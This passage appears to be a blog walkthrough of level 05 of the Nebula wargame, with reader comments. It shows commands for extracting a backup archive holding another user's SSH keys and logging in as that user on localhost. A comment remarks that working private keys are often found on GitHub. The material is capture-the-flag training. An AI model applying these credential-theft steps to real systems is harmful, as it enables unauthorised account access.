level05@nebula:/home/flag05$ cd .backup level05@nebula:/home/flag05/.backup$ tar -xzvf backup-19072011.tgz -C /home/level05 .ssh/ .ssh/id_rsa.pub .ssh/id_rsa .ssh/authorized_keys
Once that was setup, I simply tried to SSH back to the local machine but using the flag05 user, since I had their authentication keys. Luckily it was secured *only* with keys, and not a password as well. This let me right in.
level05@nebula:/home/flag05/.backup$ ssh flag05@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is ea:8d:09:1d:f1:69:e6:1e:55:c7:ec:e9:76:a1:37:f0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
_ __ __ __
/ | / /__ / /_ __ __/ /___ _
/ |/ / _ \/ __ \/ / / / / __ `/
/ /| / __/ /_/ / /_/ / / /_/ /
/_/ |_/\___/_.___/\__,_/_/\__,_/
exploit-exercises.com/nebula
For level descriptions, please see the above URL.
To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.
Currently there are 20 levels (00 - 19).
Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)
* Documentation: https://help.ubuntu.com/
Last login: Fri Dec 2 04:36:54 2011 from localhost
flag05@nebula:~$ getflag
You have successfully executed getflag on a target account
flag05@nebula:~$
After getting in, I ran the "getflag" command, in case it does store the results somewhere.
I think we only need to copy the private key (id_rsa) to ~/.ssh then connect via ssh, copying the rest of the files (especially the authorized_keys file) to your .ssh folder will allow flag05 to connect to your account and hack you right back!
ReplyDeleteAs I understand it, this only works because the user flag05 has added the public key to his authorized_keys file, so the private key will let us authenticate.
To me it seems like a strange thing for the flag05 user to have done (add the public key to the authorized_keys file). In real life, if he wanted to connect to this machine from another, wouldn't he have added a public key that matches a private key on the other server that he is going to connect from (rather than reuse this key pair)?
Many people will generate a key pair on 1 machine, and then copy them around to every machine they use. And many people, in real life, often forget about sensitive data like this in their backups. I've found many ssh private keys on github for example, and they work.
DeleteGood note about the authorized_keys file on my local machine allowing them to connect back. I deleted it after I was done, but you are absolutely correct.